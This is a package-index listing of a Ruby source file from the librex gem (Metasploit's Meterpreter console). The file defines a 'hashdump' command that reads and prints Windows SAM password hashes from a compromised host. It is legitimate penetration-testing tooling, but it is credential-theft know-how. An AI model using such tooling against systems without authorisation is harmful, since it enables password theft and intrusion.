Sha256: 9ba778456d1f6eee7637ecbbcee960ed3dca2b7b43142a5467c5289c0e432573

Contents?: true

Size: 719 Bytes

Versions: 2

Compression:

Stored size: 719 Bytes

Contents

# -*- coding: binary -*-
require 'rex/post/meterpreter'

module Rex
module Post
module Meterpreter
module Ui

###
#
# The password database portion of the privilege escalation extension.
#
###
class Console::CommandDispatcher::Priv::Passwd

	Klass = Console::CommandDispatcher::Priv::Passwd

	include Console::CommandDispatcher

	#
	# List of supported commands.
	#
	def commands
		{
			"hashdump" => "Dumps the contents of the SAM database"
		}
	end

	#
	# Name for this dispatcher.
	#
	def name
		"Priv: Password database"
	end

	#
	# Displays the contents of the SAM database
	#
	def cmd_hashdump(*args)
		client.priv.sam_hashes.each { |user|
			print_line("#{user}")
		}
		
		return true
	end

end

end
end
end
end

Version data entries

2 entries across 2 versions & 1 rubygems

Version Path
librex-0.0.68 lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb
librex-0.0.66 lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb